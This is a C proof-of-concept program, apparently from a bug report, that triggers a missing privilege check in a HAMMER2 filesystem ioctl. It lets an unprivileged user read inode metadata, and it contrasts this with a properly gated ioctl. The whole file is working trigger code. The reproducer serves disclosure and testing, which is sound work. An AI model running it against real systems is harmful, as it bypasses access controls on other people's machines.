DF-2648 / inodeget_user.c
/* * DF-2648 trigger. HAMMER2IOC_INODE_GET is dispatched WITHOUT honoring * the caps_priv_check() result (hammer2_ioctl.c:137-139 overwrites the * error), so any user able to open a file on a hammer2 mount can run * it. Contrast: HAMMER2IOC_PFS_GET (gated) must fail with EPERM for * the same unprivileged user. * * usage: inodeget_user <file-or-dir-on-hammer2> * (run as an unprivileged user) */ #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> struct df2648_inode { uint32_t flags; void *unused; uint64_t data_count; uint64_t inode_count; unsigned char meta[1024]; }; #define DF2648_INODE_GET _IOWR('h', 86, struct df2648_inode) struct df2647_pfs { uint64_t name_key; uint64_t name_next; uint8_t pfs_type; uint8_t pfs_subtype; uint8_t reserved0012; uint8_t reserved0013; uint32_t pfs_flags; uint64_t reserved0018; unsigned char pfs_fsid[16]; unsigned char pfs_clid[16]; char name[256]; }; #define DF2647_PFS_GET _IOWR('h', 80, struct df2647_pfs) int main(int argc, char **argv) { struct df2648_inode ino; struct df2647_pfs pfs; int fd; if (argc < 2) { fprintf(stderr, "usage: %s <path-on-h2>\n", argv[0]); return 2; } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); return 1; } printf("uid=%d euid=%d fd=%d\n", getuid(), geteuid(), fd); memset(&ino, 0, sizeof(ino)); if (ioctl(fd, DF2648_INODE_GET, &ino) == 0) { uint64_t inum; memcpy(&inum, &ino.meta[0x58], 8); /* meta.inum @0x58 */ printf("INODE_GET: SUCCESS (ungated!) data_count=%llu " "inode_count=%llu inum=%llu\n", (unsigned long long)ino.data_count, (unsigned long long)ino.inode_count, (unsigned long long)inum); } else { printf("INODE_GET: failed errno=%d (%s)\n", errno, strerror(errno)); } memset(&pfs, 0, sizeof(pfs)); pfs.name_key = 0; if (ioctl(fd, DF2647_PFS_GET, &pfs) == 0) printf("PFS_GET: SUCCESS (unexpected for unpriv user!)\n"); else printf("PFS_GET: errno=%d (%s) -- gate works\n", errno, strerror(errno)); return 0; } |